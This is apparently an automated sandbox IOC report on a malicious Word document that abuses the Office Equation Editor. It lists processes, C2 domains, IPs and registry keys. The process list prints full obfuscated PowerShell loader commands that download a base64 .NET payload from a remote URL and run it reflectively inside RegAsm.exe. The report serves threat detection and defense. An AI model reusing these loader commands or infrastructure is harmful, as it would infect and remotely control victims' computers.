Automated Malware Analysis IOC Report for

Files

File Path

Type

Processes

Path

Cmdline

Malicious

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

C:\Windows\SysWOW64\wscript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\makepicturewithgreatthingstobeon.vBS"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRwU0hPbUVbNF0rJFBTSE9NRVszNF0rJ1gnKSggKCdIcVJ1cicrJ2wgJysnPSAnKydWVUYnKydodCcrJ3QnKydwczovL2knKydhNicrJzAwMTAwLnVzLmFyY2hpdmUub3InKydnLycrJzI0L2l0JysnZW1zL2QnKydlJysndGEnKydoLW5vJysndCcrJ2Utdi9EZScrJ3QnKydhaE5vdGUnKydWLnR4dFZVJysnRicrJztIcVJiYScrJ3NlNjQnKydDJysnb250ZW50ID0gKE5ldycrJy1PYmplJysnY3QnKycgU3lzJysndGVtJysnLk4nKydlJysndC5XZScrJ2InKydDJysnbGknKydlJysnbnQnKycpJysnLkRvd25sJysnbycrJ2FkUycrJ3RyaScrJ25nKEhxUnVybCk7SHFSYmknKyduYXJ5Q29udGVudCA9IFtTJysneXN0ZW0uQycrJ28nKyduJysndmVydF06OkZyb21CYXMnKydlNjRTdHJpJysnbmcoSHFSYmFzZScrJzY0QycrJ29udCcrJ2VudCk7SHFSJysnYXMnKydzZW1ibHknKycgPSBbUicrJ2VmbGVjdGlvbi5BcycrJ3NlbScrJ2JseV06OkxvYWQoSCcrJ3FSYicrJ2luYXInKyd5QycrJ29uJysndCcrJ2VudCk7JysnSHEnKydSdHlwZSA9JysnICcrJ0gnKydxUmFzc2UnKydtYmx5LkdldFR5cGUoVicrJ1VGUnVuJysnUCcrJ0UuJysnSG9tZVZVRicrJyk7SCcrJ3FSJysnbWV0JysnaG9kID0gSHFSdCcrJ3lwZS5HZXRNZXQnKydob2QoJysnVlVGVkEnKydJVlVGKTtIcVJtZXQnKydob2QuSW52b2tlKEhxUicrJ251bGwnKycsIFtvYmplY3RbXV1AKFZVJysnRnR4dC4nKydWQkdSLycrJzA1JysnNS8yJysnNScrJy4wMS45Mi41OCcrJzEvLzonKydwdHRoVlVGICwgJysnVlVGZCcrJ2VzYScrJ3QnKydpdicrJ2FkJysnb1ZVRiAnKycsJysnIFZVJysnRmQnKydlc2F0aScrJ3YnKydhZCcrJ29WJysnVUYnKycgJysnLCcrJyBWJysnVUZkZScrJ3MnKydhdGknKyd2YWRvVlVGLCcrJ1ZVRlJlJysnZ0FzbVYnKydVRixWVUZWJysnVUYpKScpLlJlcGxhY2UoKFtjSEFyXTcyK1tjSEFyXTExMytbY0hBcl04MiksW1N0UkluZ11bY0hBcl0zNikuUmVwbGFjZSgoW2NIQXJdODYrW2NIQXJdODUrW2NIQXJdNzApLFtTdFJJbmddW2NIQXJdMzkpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $pSHOmE[4]+$PSHOME[34]+'X')( ('HqRur'+'l '+'= '+'VUF'+'ht'+'t'+'ps://i'+'a6'+'00100.us.archive.or'+'g/'+'24/it'+'ems/d'+'e'+'ta'+'h-no'+'t'+'e-v/De'+'t'+'ahNote'+'V.txtVU'+'F'+';HqRba'+'se64'+'C'+'ontent = (New'+'-Obje'+'ct'+' Sys'+'tem'+'.N'+'e'+'t.We'+'b'+'C'+'li'+'e'+'nt'+')'+'.Downl'+'o'+'adS'+'tri'+'ng(HqRurl);HqRbi'+'naryContent = [S'+'ystem.C'+'o'+'n'+'vert]::FromBas'+'e64Stri'+'ng(HqRbase'+'64C'+'ont'+'ent);HqR'+'as'+'sembly'+' = [R'+'eflection.As'+'sem'+'bly]::Load(H'+'qRb'+'inar'+'yC'+'on'+'t'+'ent);'+'Hq'+'Rtype ='+' '+'H'+'qRasse'+'mbly.GetType(V'+'UFRun'+'P'+'E.'+'HomeVUF'+');H'+'qR'+'met'+'hod = HqRt'+'ype.GetMet'+'hod('+'VUFVA'+'IVUF);HqRmet'+'hod.Invoke(HqR'+'null'+', [object[]]@(VU'+'Ftxt.'+'VBGR/'+'05'+'5/2'+'5'+'.01.92.58'+'1//:'+'ptthVUF , '+'VUFd'+'esa'+'t'+'iv'+'ad'+'oVUF '+','+' VU'+'Fd'+'esati'+'v'+'ad'+'oV'+'UF'+' '+','+' V'+'UFde'+'s'+'ati'+'vadoVUF,'+'VUFRe'+'gAsmV'+'UF,VUFV'+'UF))').Replace(([cHAr]72+[cHAr]113+[cHAr]82),[StRIng][cHAr]36).Replace(([cHAr]86+[cHAr]85+[cHAr]70),[StRIng][cHAr]39) )"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\nkbubgbtxayytawgovuosmgrcf"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\nkbubgbtxayytawgovuosmgrcf"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\nkbubgbtxayytawgovuosmgrcf"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\xngebzmuliqlvokkyghpdzaillbyo"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\ahlxcrfozqiqgugoprcrgenrualhhmmku"

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\muezvmgbhtns"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\qjmo"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\qjmo"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\wjfueylyjgoymkoaaythvh"

There are 6 hidden processes, click here to show them.

URLs

Name

Malicious

authurremc.duckdns.org

http://185.29.10.52/550/makepicturewithgreatthingstobeonline.tIF

185.29.10.52

http://185.29.10.52/550/RGBV.txt

185.29.10.52

http://b.scorecardresearch.com/beacon.js

unknown

http://acdn.adnxs.com/ast/ast.js

unknown

http://www.imvu.comr

unknown

http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_

unknown

http://ocsp.entrust.net03

unknown

https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1

unknown

https://contoso.com/License

unknown

https://support.google.com/chrome/?p=plugin_flash

unknown

http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png

unknown

http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0

unknown

http://www.diginotar.nl/cps/pkioverheid0

unknown

https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9

unknown

http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.html

unknown

http://www.nirsoft.net

unknown

https://deff.nelreports.net/api/report?cat=msn

unknown

http://www.nirsoft.netP

unknown

https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js

unknown

http://go.micros

unknown

http://www.imvu.com/qK

unknown

http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com

unknown

http://cache.btrll.com/default/Pix-1x1.gif

unknown

http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683

unknown

https://www.google.com

unknown

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

207.241.227.240

http://geoplugin.net/json.gp/C

unknown

http://185.29.10.52/550/makepicturewithgreatthingstobeonline.tIFj

unknown

http://o.aolcdn.com/ads/adswrappermsni.js

unknown

http://cdn.taboola.com/libtrc/msn-home-network/loader.js

unknown

http://www.msn.com/?ocid=iehp

unknown

https://contoso.com/

unknown

https://nuget.org/nuget.exe

unknown

https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033

unknown

http://static.chartbeat.com/js/chartbeat.js

unknown

http://www.msn.com/de-de/?ocid=iehp

unknown

https://ia600100.us.archive.org

unknown

http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%

unknown

https://login.yahoo.com/config/login

unknown

http://www.nirsoft.net/

unknown

http://ocsp.entrust.net0D

unknown

http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

unknown

https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3

unknown

http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683

unknown

http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(

unknown

https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9

unknown

http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_sh

unknown

http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.js

unknown

http://nuget.org/NuGet.exe

unknown

https://www.ccleaner.com/go/app_cc_pro_trialkey

unknown

http://crl.entrust.net/server1.crl0

unknown

http://185.29.10.52/550/makepicturewithgreatthingstobeonline.tIFAs4

unknown

https://contextual.media.net/8/nrrV73987.js

unknown

http://www.imvu.com

unknown

https://contoso.com/Icon

unknown

http://185.29.10.52

unknown

http://185.29.10.52/550/makepicturewithgreatthingstobeonline.tIFsC:

unknown

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtVUF;HqRbase64Content

unknown

https://contextual.media.net/

unknown

http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js

unknown

https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2

unknown

http://www.msn.com/

unknown

https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au

unknown

http://geoplugin.net/json.gp

178.237.33.50

http://www.imvu.com/GK

unknown

http://crl.pkioverheid.nl/DomOvLatestCRL.crl0

unknown

https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549

unknown

http://cdn.at.atwola.com/_media/uac/msn.html

unknown

https://www.google.com/accounts/servicelogin

unknown

http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fset

unknown

https://secure.comodo.com/CPS0

unknown

https://policies.yahoo.com/w3c/p3p.xml

unknown

http://crl.entrust.net/2048ca.crl0

unknown

http://www.msn.com/advertisement.ad.js

unknown

http://www.ebuddy.com

unknown

There are 66 hidden URLs, click here to show them.

Domains

Name

Malicious

authurremc.duckdns.org

192.210.150.29

Details

Name:	authurremc.duckdns.org
IP:	192.210.150.29
TargetID:	9
Current Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Found malware configuration	AV Detection
Suricata IDS alerts for network traffic	Networking
C2 URLs / IPs found in malware configuration	Networking	Application Layer Protocol
Uses dynamic DNS services	Networking	Application Layer Protocol
Potential document exploit detected (performs DNS queries)	Software Vulnerabilities	Exploitation for Client Execution
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol

ia600100.us.archive.org

207.241.227.240

Details

Name:	ia600100.us.archive.org
IP:	207.241.227.240
TargetID:	8
Current Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
HTTP GET or POST without a user agent	Networking
Potential document exploit detected (performs DNS queries)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
URLs found in memory or binary data	Networking

geoplugin.net

178.237.33.50

Details

Name:	geoplugin.net
IP:	178.237.33.50
TargetID:	9
Current Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
HTTP GET or POST without a user agent	Networking
Potential document exploit detected (performs DNS queries)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Suricata IDS alerts with low severity for network traffic	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
URLs found in memory or binary data	Networking

IPs

Domain

Country

Malicious

185.29.10.52

unknown

European Union

Details

IP:	185.29.10.52
TargetID:	2
Current Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Country:	European Union
Countrycode:	EU
ASN number:	60567
ASN name:	DATACLUB-SE
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: EQNEDT32.EXE connecting to internet	Exploits
Suricata IDS alerts for network traffic	Networking
Office equation editor establishes network connection	Exploits	Exploitation for Client Execution
Sigma detected: Equation Editor Network Connection	System Summary
HTTP GET or POST without a user agent	Networking
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
URLs found in memory or binary data	Networking

192.210.150.29

authurremc.duckdns.org

United States

Details

IP:	192.210.150.29
TargetID:	9
Current Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Country:	United States
Countrycode:	USA
ASN number:	36352
ASN name:	AS-COLOCROSSINGUS
Private:	false
Domain:	authurremc.duckdns.org

Signature Hits	Behavior Group	Mitre Attack
Suricata IDS alerts for network traffic	Networking

178.237.33.50

geoplugin.net

Netherlands

Details

IP:	178.237.33.50
TargetID:	9
Current Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Country:	Netherlands
Countrycode:	NLD
ASN number:	8455
ASN name:	ATOM86-ASATOM86NL
Private:	false
Domain:	geoplugin.net

Signature Hits	Behavior Group	Mitre Attack
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Suricata IDS alerts with low severity for network traffic	Networking

207.241.227.240

ia600100.us.archive.org

United States

Details

IP:	207.241.227.240
TargetID:	8
Current Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Country:	United States
Countrycode:	USA
ASN number:	7941
ASN name:	INTERNET-ARCHIVEUS
Private:	false
Domain:	ia600100.us.archive.org

Signature Hits	Behavior Group	Mitre Attack
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking

Registry

Path

Value

Malicious

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C

Blob

HKEY_CURRENT_USER\Software\Rmc-7B1J99

exepath

HKEY_CURRENT_USER\Software\Rmc-7B1J99

licence

HKEY_CURRENT_USER\Software\Rmc-7B1J99

time

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

1f/

HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Outlook\Journaling\Microsoft Word

Enabled

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word

MTTT

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

ig/

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

?i/

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\ReviewCycle

ReviewToken

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\292CD

292CD